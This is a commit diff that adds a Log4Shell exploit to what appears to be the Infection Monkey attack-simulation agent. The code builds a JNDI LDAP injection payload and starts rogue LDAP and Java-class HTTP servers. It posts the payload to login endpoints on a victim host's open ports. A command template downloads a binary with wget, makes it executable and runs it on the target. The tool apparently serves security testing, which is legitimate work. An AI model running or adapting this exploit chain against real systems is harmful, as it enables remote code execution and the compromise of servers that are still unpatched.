Agent: add the docker POC exploit to log4shell

Implements the infrastructure needed to add different log4shell exploits and adds the
This commit is contained in:
vakarisz 2022-01-04 17:48:45 +02:00
parent 206abfa5e8
commit 0659fddac6
4 changed files with 48 additions and 22 deletions

View File

@ -3,14 +3,13 @@ import http.server
import logging
from threading import Thread
import requests
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode
from infection_monkey.exploit.log4shell_utils.exploit_builder import (
LINUX_EXPLOIT_TEMPLATE_PATH,
WINDOWS_EXPLOIT_TEMPLATE_PATH,
)
from infection_monkey.exploit.log4shell_utils.requests import exploits
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
@ -26,8 +25,6 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path
logger = logging.getLogger(__name__)
LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}"
class Log4ShellExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
@ -36,7 +33,6 @@ class Log4ShellExploiter(WebRCE):
LDAP_PORT = 8080
CLASS_HTTP_SERVER_PORT = 1337
DOWNLOAD_TIMEOUT = 15
URLS = ["http://192.168.56.101:8080/login"]
def __init__(self, host: VictimHost):
super().__init__(host)
@ -57,11 +53,13 @@ class Log4ShellExploiter(WebRCE):
java_class = self.build_java_class(command)
class_http_server_ip = get_interface_to_target(self.host.ip_addr)
java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class)
java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread(
class_http_server_ip, java_class
)
java_class_http_thread.start()
ldap = LDAPExploitServer(
ldap_server_port=8080,
ldap_server_port=Log4ShellExploiter.LDAP_PORT,
http_server_ip=class_http_server_ip,
http_server_port=self.CLASS_HTTP_SERVER_PORT,
storage_dir=get_monkey_dir_path(),
@ -69,21 +67,21 @@ class Log4ShellExploiter(WebRCE):
ldap_thread = ldap.get_run_thread()
ldap_thread.start()
payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"}
try:
requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False)
except requests.ReadTimeout:
logger.error("Couldn't send request to the vulnerable machine")
return False
finally:
http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
http_thread.stop()
# Try to exploit all services,
# because we don't know which services are running and on which ports
open_ports = [
port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
]
for exploit in exploits:
exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports)
http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
http_thread.stop()
java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
Log4ShellExploiter.HTTPHandler.stop = True
java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
Log4ShellExploiter.HTTPHandler.stop = True
ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
ldap.stop()
ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
ldap.stop()
return True
def build_ldap_payload(self):
@ -147,7 +145,8 @@ class Log4ShellExploiter(WebRCE):
):
server.handle_request()
def get_java_class_server_thread(self, ip: str, java_class: bytes):
@staticmethod
def get_java_class_server_thread(ip: str, java_class: bytes):
Log4ShellExploiter.HTTPHandler.java_class = java_class
return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip])

View File

@ -0,0 +1,3 @@
from .poc_docker import trigger_exploit as exploit_poc
exploits = [exploit_poc]

View File

@ -0,0 +1,25 @@
from logging import getLogger
from typing import List
import requests
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]):
urls = build_urls(open_ports, host)
payload = {"uname": payload, "password": "m0nk3y"}
for url in urls:
try:
requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout:
logger.debug("Couldn't send request to the vulnerable machine")
def build_urls(open_ports: List[int], host: VictimHost) -> List[str]:
urls = []
for port in open_ports:
urls.append(f"http://{host.ip_addr}:{port}/login")
return urls

View File

@ -64,7 +64,6 @@ LOG4SHELL_LINUX_COMMAND = (
"wget -O %(monkey_path)s %(http_path)s ;"
" chmod +x %(monkey_path)s ;"
" %(monkey_path)s %(monkey_type)s %(parameters)s"
# "touch /tmp/test_with_new"
)
LOG4SHELL_WINDOWS_COMMAND = (